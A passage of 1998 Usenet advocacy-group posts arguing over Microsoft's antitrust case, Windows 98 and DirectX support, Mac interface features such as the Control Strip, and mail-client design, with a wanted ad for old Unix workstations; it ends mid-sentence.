Newsgroups: comp.sys.mac.advocacy,comp.sys.windows.advocacy,comp.sys.next.advocacy,alt.destroy.microsoft,comp.os.linux.advocacy,comp.os.ms-windows.advocacy,comp.os.ms-windows.nt.advocacy
Subject: Re: MS -"What Hurts Us, Hurts Industry" - LOAD OF B.S.!
Date: Tue, 5 May 1998 23:59:40 -0400
Organization: UltraNet Communications, Inc. http://www.ultranet.com/
Message-ID: <6iooms$clv$1@ligarius.ultra.net>
References: <6il92r$3cl@bgtnsc01.worldnet.att.net> <6imcmk$oj1$3@ligarius.ultra.net> <6in9be$jdd$1@inconnu.isu.edu>
Craig Kelley wrote in message <6in9be$jdd$1@inconnu.isu.edu>...
>In article <6imcmk$oj1$3@ligarius.ultra.net>,
>John Saunders <jws@jws.ultranet.com> wrote:
>
>->Would the vendors of USB peripherals be hurt if there is no mainstream
>->operating system that supports USB?
>
>Umm, Windows95 supports USB (as does Linux...)
>
I don't think so... Please provide confirmation of this. USB is being talked
up as new in Windows 98. Maybe you mean that OSR2 supports USB?
>->Would companies which have been testing their products against Windows 98
be
>->concerned if Windows 98 didn't ship?
>
>Not really, since Windows95 and Windows98 are almost exactly the same...
Yes, really. They've been spending QA time testing something which isn't
going to ship. That's a waste. It won't leave them pleased.
>->Would consumers who want to upgrade their existing systems by adding
large
>->hard disks be impacted by the lack of FAT32 support in Win95-retail?
>
>Umm, Windows95 supports Fat32... (and you have yet to make a point)
Kindly distinguish Win95 OSR2 from the retail release. My laptop supports
FAT32 (with no convert utility), but my old Gateway 486 does not. If I want
FAT32 on my Gateway system (and if I'm not a thief), then I need Windows 98.
>->Don't be fooled. If DOJ and the State Extortionists General have their
way,
>->Microsoft won't be the only one to be hurt by this.
>
>Your logic, perhaps?
>
If "DOJ and the State Extortionists General have their way" is true, then
Windows 98 will be tied up in the courts for a year or two, thus
Companies other than Microsoft will be hurt
Did I skip any steps?
>->I did not foresee that the States would then turn around and use this new
>->power of theirs again so soon. I certainly didn't foresee their going
after
>->Microsoft.
>
>It's been done before... Ever heard of AT&T?
>
Way big duh! The states didn't do that. It was the Federal Government. Oh,
and by the way, remember IBM?
The big difference in the current situation is that there will always be
enough states that you can gather a bunch together to sue someone. Powerful
as it is, there's only one Federal Government. That fact limits the power of
the Federal Government. But there's a huge number of combinations of States.
>->I am not able to foresee a limit to the use of this power. There are
fifty
>->states to choose from if you want to pick a team to go bully some company
or
>->person you don't like. This tool is more than sufficiently powerful to
turn
>->against the user. I do not think this is a good thing.
>
>Boo-hoo.
>
An old principal of free speech applies here as well.
Freedom of speech is intended to protect those we most hate. In the process,
it protects the rest of us.
If we allow the states to arbitrarily harrass any company they want to, then
pretty soon they'll be harrassing you.
John Saunders
jws@jws.ultranet.com
Date: Wed, 06 May 1998 14:30:15 +0930
From: "timothyp@tne.net.au" <timothyp@tne.net.au>
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: Apple developer program
References: <6il7fp$smu$1@news.digifix.com>
<B173DA2F-4EC79@207.217.155.139> <6imb64$bj7$1@news.digifix.com>
<MPG.fb8d106bd4d200e9898d7@news.supernews.com>
Organization: Cybermarket Australia
Mime-version: 1.0
Content-Type: text/plain; charset="ISO-8859-1"
Content-transfer-encoding: 7bit
Message-ID: <354fed39.0@news.camtech.net.au>
In article <MPG.fb8d106bd4d200e9898d7@news.supernews.com> , don.brown@cesoft.com
(Donald Brown) wrote:
>In article <6imb64$bj7$1@news.digifix.com>, sanguish@digifix.com says...
>> Control Strip is a horrible little UI tack-on... as is
>> WindowShade, MenuClock, Tabbed Windows and other items that aren't
>> cohesive parts of the User Experience..
>>
>IYHO, of course. I'm very fond of Control Strip and Menu Clock, and
>WindowShade when there is that box in the title bar to handle it. IMHO,
>of course.
>
>Donald
The windowshade feature has to be apple's lamest idea ever. It was half-arsed
to say the least. Having rolled-up windows all over the screen is a pain inthe
ass. A better Idea would have been to have the windows iconify like X-window
allows (not sure how NeXT does it). The windows implementation is even better
than Apple's and that's saying something. I hope Apple does something about
this in Rhapsody, or someone else does at least.
Date: Wed, 06 May 1998 02:57:29 -0500
From: jinx6568@sover.net (Chris Johnson)
Newsgroups: comp.sys.mac.advocacy,comp.sys.windows.advocacy,comp.sys.next.advocacy,alt.destroy.microsoft,comp.os.linux.advocacy,comp.os.ms-windows.advocacy,comp.os.ms-windows.nt.advocacy
Subject: Re: MS -"What Hurts Us, Hurts Industry" - LOAD OF B.S.!
Message-ID: <jinx6568-0605980257290001@usr2a35.bratt.sover.net>
References: <6il92r$3cl@bgtnsc01.worldnet.att.net> <6imcmk$oj1$3@ligarius.ultra.net> <stone-ya02408000R0505980240210001@news.enetis.net>
Organization: Airwindows
In article <stone-ya02408000R0505980240210001@news.enetis.net>,
stone@stoneentertainment.com (Kevin Stone) wrote:
> State governments, are not fair for everyone else involved. Unfortunately,
> the only other way to resolve this conflict, which was to remove the
> Internet Explorer application from the operating system, was killed by
> Microsoft themselves when they claimed that it was impossible. No
> programmer I've talked with on the subject believes that it's impossible...
> difficult possably... time consuming definitely... impossible not a chance.
Difficult? Like hell.
I'm told by a professional NT programmer that IE's integration was a
victim of programmer ego. The way this manifested should amuse you if you
like sick humor.
Told to build IE firmly into the OS, the programmers apparently became
wilful, knowing this was basically a rotten idea. So, they made it _look_
very much like it was deeply interwoven into the system. But wait! Pull
this thread and *foom* it cleaves as cleanly as diamond cutting, with the
most delicate of taps. I'm not making this up, and it throws an
interesting light on the skills of at least some MS programmers.
That's right- removing IE _and_ all its integration is TRIVIAL.
The programmers made it that way because it was the Right Thing, and
because it would impress other programmers- like the one who related this
to me.
The 'impossible' claims are lies, and if they were under oath then they
are perjury.
Jinx_tigr
(aka Chris Johnson)
From: bmajik@goliath.unl.edu (Matt Evans)
Newsgroups: comp.sys.next.advocacy,comp.unix.advocacy,comp.sys.amiga.advocacy,comp.os.os2.advocacy,comp.os.linux.advocacy
Subject: Re: Windoze Sux: DirectX vs NT50
Date: 6 May 1998 07:44:08 GMT
Organization: University of Nebraska-Lincoln
Message-ID: <6ip4c8$k2r$3@unlnews.unl.edu>
References: <gmgraves-2604981232290001@sf-pm5-2-66.dialup.slip.net>
<3544B94D.AEA0CC67@algonet.se>
<01HW.B16A93530002A33B01453580@news.sprynet.com>
<35454ac1.6431001@news.tiac.net>
<01HW.B16BA6800002814C01048570@news.sprynet.com>
<3546a44e.7747984@news.tiac.net>
<02HW.B16CF7900002260600D99280@news.sprynet.com>
<3548690e.3684017@news.tiac.net>
<02HW.B16E55E400061D2400ED1970@news.sprynet.com>
<354bcd0e.7636866@news.tiac.net>
<Pine.BSF.3.96.980504124037.28470A-100000@shell4.ba.best.com>
<Pine.BSF.3.96.980504131937.4385B-100000@shell4.ba.best.com>
<7TR31.1460$6V1.1142426@news3.atl.bellsouth.net>
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In article <7TR31.1460$6V1.1142426@news3.atl.bellsouth.net>,
"Scott Piercy" <spiercy@bellsouth.net> writes:
> The differences in the underlying DirectDraw kernel, the different video and
> audio driver models, and the unwillingness of chipset vendors to standardize
> function sets around two essentially different (yet visually similar) OS's
> is the reason why DirectX isn't fully supported under NT4.
>
just use OpenGL and be done with it.
>>This SUCKS!!!!
dont act surprised
You can write a given piece of software to do anything you need it to do.
For something like a media application, the speed of execution becomes a big
factor, but if MS wanted to port a given section of software to whatever
bastard piece of shit OS is in question, they could.
I suppose it's just easier for them to let sheep pay more for thier horrible
products. If people are going to continue to buy utter crap without you
proddingt them, whats the point of innovating ?
--
***********************************************************
* Matt Evans *
* University of Nebraska, Lincoln work: bmajik@ntr.net *
* Computer Engineering Major school: mevans@cse.unl.edu *
***********************************************************
From: rmcassid@uci.edu (Robert Cassidy)
Newsgroups: comp.sys.mac.advocacy,comp.sys.windows.advocacy,comp.sys.next.advocacy,alt.destroy.microsoft,comp.os.linux.advocacy,comp.os.ms-windows.advocacy,comp.os.ms-windows.nt.advocacy
Subject: Re: MS -"What Hurts Us, Hurts Industry" - LOAD OF B.S.!
Date: Tue, 05 May 1998 13:03:57 -0700
Organization: UC Irvine
Message-ID: <rmcassid-0505981303570001@dante.eng.uci.edu>
References: <6il92r$3cl@bgtnsc01.worldnet.att.net> <6imcmk$oj1$3@ligarius.ultra.net> <stone-ya02408000R0505980240210001@news.enetis.net> <6inoup$ejt$1@gte2.gte.net>
In article <6inoup$ejt$1@gte2.gte.net>, roger@. (Roger ) wrote:
>Once again, I am forced to ask for substantiation for your claim of
>"dozens of instances" where Microsoft broke US law. It should be easy
>for you to post 6 verifiable instances where it has been documented
>that MS engaged in criminal behaviour, or retract the claim.
Are you interested in what really happened or what MS was found guilty of?
The difference is as subtle as realizing that in terms of documentation,
OJ Simpson never killed Nicole and Ron Goldman.
Given that, MS admitted no wrongdoing to the half dozen or more
allegations that led up to the consent decree, yet they agreed to the
consent decree. So MS *did* do those things, but not officially. Let's not
confuse facts and history here...
>And I am still waiting for your response to:
I'll respond, just for fun.
>>Microsoft has a monopoly on the operating systems market. The supreme
>>court of the United States of America has clearly defined that Operating
>>Systems and Internet Browsers belong to two separate markets.
>
>Oh, really? During which session and in re: which appeal did the
>Supreme Court make such a ruling?
It's called a precedent. It's a handy little thing that allows us to not
have to rule on every instance of a case, rather on a single class and
then argue that it should be applied to any given instance.
While the supreme court has not, AFAIK, ruled _clearly_ on the issue, they
have ruled in a manner that suggests they would extend it to this case, if
it even needed to go that far.
The precedent invovlved a case in the medical industry that suggested that
two actions (operations IIRC) performed at one time and billed at one time
was in fact one service. The Supreme Court ruled that if the marketplace
considered each action itself to be a separate and distinct action,
regardless of whether it has a cost associated with it, that it was not
one service but rather two (or more).
The extension to MS would be that if the _marketplace_ considers a browser
to be a separate product from an OS, that even if MS doesn't charge for
it, it is in fact a separate product. So that in this case MS would be
bundling a separate product with it's OS and be in violation of the
consent decree.
The argument stems around whether the marketplace considers a browser to
be a product in and of itself and whether this definition should be
applied to software.
-Bob Cassidy
From: "Ziya Oz" <ziyaoz@earthlink.net>
Newsgroups: comp.sys.next.advocacy
Subject: Re: The killer app....
Date: Wed, 06 May 1998 03:59:05 -0400
Organization: BM
Message-ID: <6ip4g7$qg9@suriname.earthlink.net>
References: <6ilrs8$27f$1@ha2.rdc1.nj.home.com>
<01bd77da$5bccdb90$04387880@test1> <354eab88.0@news.depaul.edu>
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> Why are they calling it 'technology'?
Because maybe they bought Flash vector graphics technology for QuickTime?
From: mmalcolm crawford <malcolm@plsys.co.uk>
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: Apple developer program
Date: 6 May 1998 08:03:07 GMT
Organization: P & L Systems
Message-ID: <6ip5fr$4f3$1@ironhorse.plsys.co.uk>
References: <6im4k2$9vj$1@crib.bevc.blacksburg.va.us> <B174BA20-68F78@207.217.155.172>
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Cc: brad@hutchings-software.com
In <B174BA20-68F78@207.217.155.172> "Brad Hutchings" wrote:
> >It's people like you that make me think about switching to an OS with a
> >friendlier community of users. Nice, "ha ha, in your face, good to watch
> >you suffer you NeXT `refugees'" attitude. I wonder which company it
> >was that provided the OS solution that Apple couldn't produce on its own..
>
> My point was not personal.
>
Oh bollocks. You're being an asshole, why not just admit it?
> I know it's totally
> unrealistsic to expect regular Mac users to accept mediocre interface ideas
> like "use a command key combination". That's all. Deal with it.
>
And the control panel is a kludge that may well not be in Rhapsody -- deal
with that.
mmalc.
Date: Wed, 06 May 1998 03:16:06 -0500
From: jinx6568@sover.net (Chris Johnson)
Newsgroups: comp.sys.mac.advocacy,comp.sys.windows.advocacy,comp.sys.next.advocacy,alt.destroy.microsoft,comp.os.linux.advocacy,comp.os.ms-windows.advocacy,comp.os.ms-windows.nt.advocacy
Subject: Re: MS -"What Hurts Us, Hurts Industry" - LOAD OF B.S.!
Message-ID: <jinx6568-0605980316060001@usr2a35.bratt.sover.net>
References: <6il92r$3cl@bgtnsc01.worldnet.att.net> <6imcmk$oj1$3@ligarius.ultra.net> <6in44d$jt3@bgtnsc01.worldnet.att.net> <6iomt2$bac$1@ligarius.ultra.net>
Organization: Airwindows
In article <6iomt2$bac$1@ligarius.ultra.net>, "John Saunders"
<jws@jws.ultranet.com> wrote:
> I don't mean to imply that companies are going to fold over this. I said
> "hurt", not "killed".
Companies _are_ going to fold over this. The thing is, companies were
going to fold anyway- nowhere in the industry is particularly safe, not
even seemingly in-demand sectors like RAM and disk. Certainly no software
developers are safe. Worse (for the economy), MS isn't safe either. They
are looking at the appalling situation of 'what if they gave a release and
nobody came'. Their whole business model is in bad trouble because they
can't keep growing at the phenomenal rate they used to- there's no more
desktops to conquer and not enough people to sell to, period. The industry
_will_ hurt, whether the DoJ acts or not.
When the reality of this hits, the economy _will_ stagger. It's due for
one, and the techs will lead the fall. Hard to say how vicious it's going
to be, particularly since it is being telegraphed by MS itself at this
point, which could ease it somewhat.
The message?
"We'll trigger economic disaster, see that it is a real problem, and
then blame it all on the DoJ! Sure, this tactic will do heavy damage to
the U.S. economy and possibly the world's economy- but if we can trigger
this NOW and make it look like it's the DoJ's fault for restricting us,
maybe they will give us our monopoly back!"
I resent their using the well-being of an entire country, even the
world, as a bargaining chip. The readjustment has been expected for some
time- now MS believes they can not only blame it on the DoJ, but they also
clearly are preparing to trigger a really _bad_ readjustment purely to
make things so bad for people that an uninformed uprising _forces_ the
government to give them their monopoly back. That's just evil.
Jinx_tigr
(aka Chris Johnson)
From: Rolf Magnus <ramagnus@zvw._REMOVE_THIS_de>
Newsgroups: comp.sys.next.advocacy,comp.unix.advocacy,comp.sys.amiga.advocacy,comp.os.os2.advocacy,comp.os.linux.advocacy
Subject: Re: Windoze Sux: DirectX vs NT50
Date: Wed, 06 May 1998 10:42:53 -0700
Organization: Robert Bosch GmbH, Reutlingen, Germany
Message-ID: <3550A11D.7A@zvw._REMOVE_THIS_de>
References: <gmgraves-2604981232290001@sf-pm5-2-66.dialup.slip.net> <3544B94D.AEA0CC67@algonet.se> <01HW.B16A93530002A33B01453580@news.sprynet.com> <35454ac1.6431001@news.tiac.net> <01HW.B16BA6800002814C01048570@news.sprynet.com> <3546a44e.7747984@news.tiac.net> <02HW.B16CF7900002260600D99280@news.sprynet.com> <3548690e.3684017@news.tiac.net> <02HW.B16E55E400061D2400ED1970@news.sprynet.com> <354bcd0e.7636866@news.tiac.net> <Pine.BSF.3.96.980504124037.28470A-100000@shell4.ba.best.com> <Pine.BSF.3.96.980504131937.4385B-100000@shell4.ba.best.com> <6iljjf$etu$1@newsfep4.sprintmail.com> <354F4C4F.3C93@zvw._REMOVE_THIS_de> <6ingl7$f7$1@newsfep1.sprintmail.com>
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Pinochet wrote:
>
> Rolf Magnus wrote in message <354F4C4F.3C93@zvw._REMOVE_THIS_de>...
> > > Well, actually MS is trying to encourage the switch to NT, and
> >DirectX6 will be on NT5 first, so I think you're a little behind
the
> times.
> >
> >That makes it even worse.
>
> No, it doesn't...you're making some foolish assumptions, that's what.
What foolish assumptions?
>
> >That means that by now, Microsoft is forcing us to use win95 since
> >directx 5 will not come out for NT4.
>
> Well, actually you CAN get DX5 for NT4, however since DX6 is so
> close, MS has decided not to release that patch(though you can still
> get it), and instead will have one for DX6 when it is done.
So you can get it although they didn't release it? And further on,
how do I use my 3dfx under DirectX 5 for NT4?
> >Then, as win98 is out, we have to buy it also.
>
> Why? Maybe if they didn't put DX6 on 95, and worse yet you just had
> to play some new games...but then only the first is the choice of
MS,
> the rest is YOURS.
Yes, I nearly only use windows for games, so if I want to play new
games,
I will need it.
> >And when then NT comes out with directx6 we also have to buy it.
>
> Wrong...DirectX6 will probably be available on W98 first, since NT5.0
^^^^^^^^^^^^
> isn't coming anytime soon...however DX6 will be done on NT first.
^^^^^^^^^^^
What?
>
> >So Microsoft is forcing the users that want to play games to buy 95,
98
> >AND NT5.
>
> Nope. Sorry, you don't have to buy 95 if you can live without *some*
games
> now,
Now, what is the alternative?
> you certainly don't have to buy 98 *yet* as DX6 isn't released, and
if
> it's not on W98, then why would you have to buy W98?
I don't have to buy 98 *yet*, exactly, but I *will* have to buy it when
DX6 is out, or I have to choose NT, depending upon where dx6 will be
out first. Now I am not sure that one will need only one of them. If
they are totally exchangable, why does Microsoft make both?
> Which means
> you'd only have to buy NT 5....but wait, maybe MS will patch 95 and
NT
> to support Directx6, did you think of that?
No, because I don't think that they'll do. And even if they do, they
will use some trick to force me to buy 98 or (and?) NT5, like not
supporting
new hardware any more or things like that.
> > And what about directx 7 ? Maybe it will only be available for
windows
> > 00 (Big problem with y2k)?
>
> Well, considering when MS plans to release both of those, it is a
distinct
> possibility, but then why should MS be supporting 5 or so year old
stuff
> with the latest and greatest?
That was not what I meant. I meant that MS could release each version of
DirectX on another OS (swapping between NT and WinXX) so you ever have
to
get both. And for me it looks like they are doing such things.
> >Don't you see that they will not do this because they want you to
buy
> >the next version of NT?
>
> I see that is possible. I don't see it as certain.
I see it as nearly certain.
> Wrong. While in limited groups MS might be hated, in others, people
> just don't give a shit..
This does not have to do something with newsgroups are whatever groups
you meant. It is a general tendency.
> >they have to force the users to buy them.
>
> No, they don't....in fact such an act would be counterproductive if
you
> asked me....
We'll have to wait to see that, since Microsoft does it.
From: Rolf Magnus <ramagnus@zvw._REMOVE_THIS_de>
Newsgroups: comp.sys.next.advocacy,comp.unix.advocacy,comp.sys.amiga.advocacy,comp.os.os2.advocacy,comp.os.linux.advocacy
Subject: Re: Windoze Sux: DirectX vs NT50
Date: Wed, 06 May 1998 10:54:36 -0700
Organization: Robert Bosch GmbH, Reutlingen, Germany
Message-ID: <3550A3DC.3909@zvw._REMOVE_THIS_de>
References: <gmgraves-2604981232290001@sf-pm5-2-66.dialup.slip.net> <3544B94D.AEA0CC67@algonet.se> <01HW.B16A93530002A33B01453580@news.sprynet.com> <35454ac1.6431001@news.tiac.net> <01HW.B16BA6800002814C01048570@news.sprynet.com> <3546a44e.7747984@news.tiac.net> <02HW.B16CF7900002260600D99280@news.sprynet.com> <3548690e.3684017@news.tiac.net> <02HW.B16E55E400061D2400ED1970@news.sprynet.com> <354bcd0e.7636866@news.tiac.net> <Pine.BSF.3.96.980504124037.28470A-100000@shell4.ba.best.com> <Pine.BSF.3.96.980504131937.4385B-100000@shell4.ba.best.com> <6iljjf$etu$1@newsfep4.sprintmail.com> <354F4C4F.3C93@zvw._REMOVE_THIS_de> <354F45C0.9A7@stud.uni-erlangen.de>
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Matthias Bethke wrote:
>
> Rolf Magnus wrote:
> > That makes it even worse. That means that by now, Microsoft is forcing
> > us to use win95 since directx 5 will not come out for NT4. Then, as
> > win98 is out, we have to buy it also. And when then NT comes out with
> > directx 6 we also have to buy it.
>
> Hm...I'm not sure if I got you right...I for one do not feel like buying
> Wimpdos98 or NT at all. Sure there's nothing wrong with your psyche? I
> really would worry if I felt compelled to buy like rotten eggs or
> something all the time.
You didn't seem to get the whole point. My point was that, if I want to
do
gaming and not only play year-old games, I need all of the windozes.
> I always knew using M$oftware is bad for your
> brains but I didn't know it could cause real obsessions. You should have
> yourself debugged by a doctor who knows a computer from a Gates Crate
Now, it is even more extreme. I try to get away from it, but it's hard.
Maybe somtimes I can manage to live without it. But I can ony do it if
I don't see a blue screen any more. SHIT... there it is again, the
lovely
blue thing.. oohhh how good it is....
From: Rolf Magnus <ramagnus@zvw._REMOVE_THIS_de>
Newsgroups: comp.sys.next.advocacy,comp.unix.advocacy,comp.sys.amiga.advocacy,comp.os.os2.advocacy,comp.os.linux.advocacy
Subject: Re: Windoze Sux: DirectX vs NT50
Date: Wed, 06 May 1998 11:04:01 -0700
Organization: Robert Bosch GmbH, Reutlingen, Germany
Message-ID: <3550A611.2949@zvw._REMOVE_THIS_de>
References: <gmgraves-2604981232290001@sf-pm5-2-66.dialup.slip.net> <3544B94D.AEA0CC67@algonet.se> <01HW.B16A93530002A33B01453580@news.sprynet.com> <35454ac1.6431001@news.tiac.net> <01HW.B16BA6800002814C01048570@news.sprynet.com> <3546a44e.7747984@news.tiac.net> <02HW.B16CF7900002260600D99280@news.sprynet.com> <3548690e.3684017@news.tiac.net> <02HW.B16E55E400061D2400ED1970@news.sprynet.com> <354bcd0e.7636866@news.tiac.net> <Pine.BSF.3.96.980504124037.28470A-100000@shell4.ba.best.com> <Pine.BSF.3.96.980504131937.4385B-100000@shell4.ba.best.com> <354F400E.90F@stud.uni-erlangen.de>
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Matthias Bethke wrote:
> So what? If you want games, stability is not an issue and Winblows 95 is
> pretty good at loading games :)
So you think Microsoft makes win95 only for games? And also in a
strategy
game where I played for 3 hours on one single level, it is a little bit
annoying if the blue screen says : now go and try again...
> Sure. Gamers always need the fastest hardware on the market anyway so
> you should be able to get the bucks for an "upgrade" from sowhere.
Now what does this have to do with the latest release of the OS? Why
should it only be possible to play new games on the newest one?
> M$'s business practice has always sucked, sucks and is going to suck as
> long as the company exists - I don't pity you.
> For gaming, buy a Playstation. It's cheap and pirate games are as easily
> available as on the GC (or did you have any other motivation to go GC
> for gaming?). For work, buy a computer.
And for both?
> So what? Game companies could stick to DX5 (or ist it DX4 ATM?).
So you think they do? And what about the new hardware that will not be
supported any more by DX5? Or at least new features of the hardware that
simply arent implemented?
> What the hell do you care about stability? You don't need to multitask
> Quake and Incoming, do you?
Now you say above:
For gaming, buy a Playstation. [ ... ]
For work, buy a computer.
So is Quake and Incoming work?
> > I'm really peeved by this!!! I can rant and raved all I want, but I think
> > letters to my senator's and attorny general are more appropriate on their
> > business practices.
>
> ROTFL! Cool, at least you admit M$ pisses you off, even if your reasons
> are...well...funny.
From: "KSB" <broennic@nospmonline.no>
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: Byte deletes binaries and puts up apple tweaked binary???
Date: Wed, 6 May 1998 10:23:27 +0200
Organization: Telenor Online Public Access
Message-ID: <6ipbse$gqb$1@o.online.no>
References: <6iovd2$f0c$2@newsfep3.sprintmail.com>
macghod@concentric.net skrev i meldingen
<6iovd2$f0c$2@newsfep3.sprintmail.com>...
SNIP
>I will most definitely be sending some emails to byte, this is very very
VERY FISHY.
Please post Byte's response?
Regards K.S. Brønnick
Ps. Is Byte in trouble btw- the paper-issues keep getting thinner and
thinner. I remember when Byte was a 300+ page monster.
From: s9700212@llandrillo.ac.uk
Newsgroups: comp.sys.next.advocacy
Subject: WTB: OLD UNIX WORKSTATIONS
Date: Wed, 06 May 1998 04:49:31 -0600
Organization: Deja News - The Leader in Internet Discussion
Message-ID: <6ipbnb$u2u$1@nnrp1.dejanews.com>
Wanted by Computer Studies student/Computer collector/Unix fan: Any old
Unixworkstations(HP, Sun, SGI, etc.) working or not. Also
software/manuals/information wanted for old Unix based computers. As I am
a student I can't pay much for these computers or parts, I would be
especialy grateful for any machines that you are giving away (I
will pay postage).
For machines that I am especialy interested in I will pay what I can (I
would love to own a NEXT cube or a nice SPARCstation).
I will get use any machines that I am given, I love messing about with UNIX
and getting old hardware up and running. I am learning a lot from
using these machines. Isn't it better that I should get that old workstation
and have some educational fun with it, rather than it going in the trash!
Plus you get a bit of money back for your old
computer.
Thanks in advance.
ps: I am situated in the UK however I may be willing to pay shipping for
machines in other countries.
-----== Posted via Deja News, The Leader in Internet Discussion ==-----
http://www.dejanews.com/ Now offering spam-free web-based newsreading
From: clee2@envirolink.org (Chris Lee)
Newsgroups: comp.sys.mac.advocacy,comp.sys.windows.advocacy,comp.sys.next.advocacy,alt.destroy.microsoft,comp.os.linux.advocacy,comp.os.ms-windows.advocacy,comp.os.ms-windows.nt.advocacy
Subject: Re: MS -"What Hurts Us, Hurts Industry" - LOAD OF B.S.!
Date: 6 May 1998 10:43:48 GMT
Organization: Your Organization
Message-ID: <6ipet4$75p$1@winter.news.erols.com>
References: <6il92r$3cl@bgtnsc01.worldnet.att.net> <6imk6v$td8@ds2.acs.ucalgary.ca> <pxpst2-0505981117510001@pelli.pathology.pitt.edu> <6ioon0$clv$2@ligarius.ultra.net>
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In article <6ioon0$clv$2@ligarius.ultra.net>, jws@jws.ultranet.com says...
>
>Peter wrote in message ...
>>In article <6imk6v$td8@ds2.acs.ucalgary.ca>, bhoang@acs3.acs.ucalgary.ca
>>(Bich Hoang) wrote:
>>
>>> : Now, MS claims it is not a monopoly, yet, delaying one of its products
>>> : has the "potential" to hurt business for roughly 2.2 MILLION+ people?
>>>
>>> Well, It could hurt Business but not so much with homeholds.
>>> Compaq, Dell and IBM could be hurt by the delay of Windows 98.
>>> Why?
>>
>>Because these guys have decided to market vaporware on a promise that the
>>product will be delivered. IMHO, this guys fucked themselves. As to the
>>point of hurting business, what CRAP. The only businesses that are hurt
>
>>are the one s marketing it befroe its release.
>
>Peter, should they have waited until after the release before talking about
>it? Before marketing it? Before spending money to develop promotions?
It would be a good idea, right?
Date: Wed, 06 May 1998 07:38:14 -0400
From: joe.ragosta@dol.net (Joe Ragosta)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: Apple developer program
Message-ID: <joe.ragosta-0605980738140001@wil124.dol.net>
References: <6inrso$sfm$1@news.digifix.com> <B174E97A-11AF54@207.217.155.172> <6iolmn$7sm$1@news.digifix.com>
In article <6iolmn$7sm$1@news.digifix.com>, sanguish@digifix.com (Scott
Anguish) wrote:
> On 05/05/98, "Brad Hutchings" wrote:
> >Scott Anguish wrote:
> <snip>
> >> And I don't think that it entitles you to make smart ass
> >>remarks about us being refugees, and that we're basically shit out
> of
> >>luck as far as the UI that we've become accustomed too.
> >
> >But, Scott, that's what your point sounded like when you trashed
> >the Control Strip. It's bad enough that I have take all sorts of
> >crap about OpenDoc. Yeah, Apple management killed it, lied about
> >it, and badmouthed it. But damnit! I will not take crap over the
> >control strip, for which long ago, I wrote a few modules. Apple
> >hasn't killed _that_ yet, and they won't because users like it :).
> >
>
> But Brad.. I AM a Mac User. I DO have as much right to
> criticize a boneheaded, space taking, tack-on, like Control Strip.
I missed your complaints about Control Strip. What specifically don't you like?
Remember that CS only takes a tiny corner of the screen when you're not
using it. OR, if you don't like it at all, you can turn it off. That seems
like it should remove most complaints.
For the record, _I_ use control strips pretty heavily. Changing screen
resolutions, TCP/IP configurations, and making/ending a PPP connection are
all faster with control strips than with control panels.
YMMV.
--
Regards,
Joe Ragosta
http://www.dol.net/~Ragosta/complmac.htm
From: Ed Lawson <elawson@lawson-philpot.com>
Newsgroups: comp.sys.mac.advocacy,comp.sys.windows.advocacy,comp.sys.next.advocacy,alt.destroy.microsoft,comp.os.linux.advocacy,comp.os.ms-windows.advocacy,comp.os.ms-windows.nt.advocacy
Subject: Re: MS -"What Hurts Us, Hurts Industry" - LOAD OF B.S.!
Date: Wed, 06 May 1998 11:06:33 +0000
Organization: LRNet, Inc.
Message-ID: <35504438.5BBF58B5@lawson-philpot.com>
References: <6il92r$3cl@bgtnsc01.worldnet.att.net> <6imcmk$oj1$3@ligarius.ultra.net> <01bd785f$a4d216e0$8383050a@bgravitt.CORP.VHA.COM> <6ioone$clv$5@ligarius.ultra.net>
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John Saunders wrote:
> You can't (legally) buy OSR2 for an existing machine. If you have an
> existing machine and you want some of these features, then you need Windows
> 98.
Consider the implications of this.
Ed Lawson
From: rmcassid@uci.edu (Robert Cassidy)
Newsgroups: comp.sys.next.advocacy
Subject: Re: Mail.app (Re: MSNBC : NeXT-Windows compatibility issue)
Date: Tue, 05 May 1998 14:45:42 -0700
Organization: UC Irvine
Message-ID: <rmcassid-0505981445420001@dante.eng.uci.edu>
References: <6icrin$6ra@newsb.netnews.att.com> <354A18DE.2819BDD3@nstar.net> <6iclo4$oth$6@ns3.vrx.net> <354A267F.4681@CONVEX.COM> <6icq9p$sq$1@ns3.vrx.net> <354A3627.21CA@CONVEX.COM> <6id2hs$6oi$1@ns3.vrx.net> <6ijcbt$d0u$1@news.cmc.net> <6ijusb$kos$2@ns3.vrx.net> <6il1qa$em7$1@cronkite.cygnus.com> <354E1312.20EA@CONVEX.COM> <6illkc$em7$2@cronkite.cygnus.com> <6imlnj$nkm$2@ns3.vrx.net> <354f7b55.0@news.depaul.edu>
In article <354f7b55.0@news.depaul.edu>, Jonathan W Hendry
<jhendry@shrike.depaul.edu> wrote:
>Maury Markowitz <maury@remove_this.istar.ca> wrote:
>> What do you do with your mail? You open the "folders", read the messages,
>> reply to them. What do you do with your news? You open the "newsgroups",
>> read the messages, reply to them.
>
>Yes, but people rarely have more than a couple dozen mail folders,
>while there are tens of thousands of newsgroups. A UI that's good
>for newsgroups is not necessarily good for mail.
But most people don't deal with 10's of thousands of newsgroups, rather
just a few. I have several dozen mail folders but only track 10
newsgroups. Subscribing to a newsgroup is a separate action, as
subscribing to a listserve really should be - email sucks as a means of
interaction with another system. However, my newsreader (MT Newswatcher)
deals with those 10,000 groups with the same approach as my email client
(Emailer) deals with my mailboxes - hierarchical disclosure list. Works
great.
-Bob Cassidy
From: rmcassid@uci.edu (Robert Cassidy)
Newsgroups: comp.sys.next.advocacy
Subject: Re: Mail.app (Re: MSNBC : NeXT-Windows compatibility issue)
Date: Tue, 05 May 1998 14:51:53 -0700
Organization: UC Irvine
Message-ID: <rmcassid-0505981451530001@dante.eng.uci.edu>
References: <6icrin$6ra@newsb.netnews.att.com> <354E1312.20EA@CONVEX.COM> <6illkc$em7$2@cronkite.cygnus.com> <6imlnj$nkm$2@ns3.vrx.net> <6injcb$bk4$1@crib.bevc.blacksburg.va.us> <354f7928.0@news.depaul.edu> <6indtv$c0h$5@ns3.vrx.net>
In article <6indtv$c0h$5@ns3.vrx.net>, maury@remove_this.istar.ca (Maury
Markowitz) wrote:
>> A UI for mailboxes probably doesn't scale well up to
>> tens of thousands of newsgroups. A newsgroup-browsing UI may
>> be overkill for a Mail application.
>
> May be. But can you name any specifics?
Disclosure lists are used both by MT-Newswatcher and Emailer. I'd actually
like to see Newswatcher adapt Emailers two-pane appraoch showing the
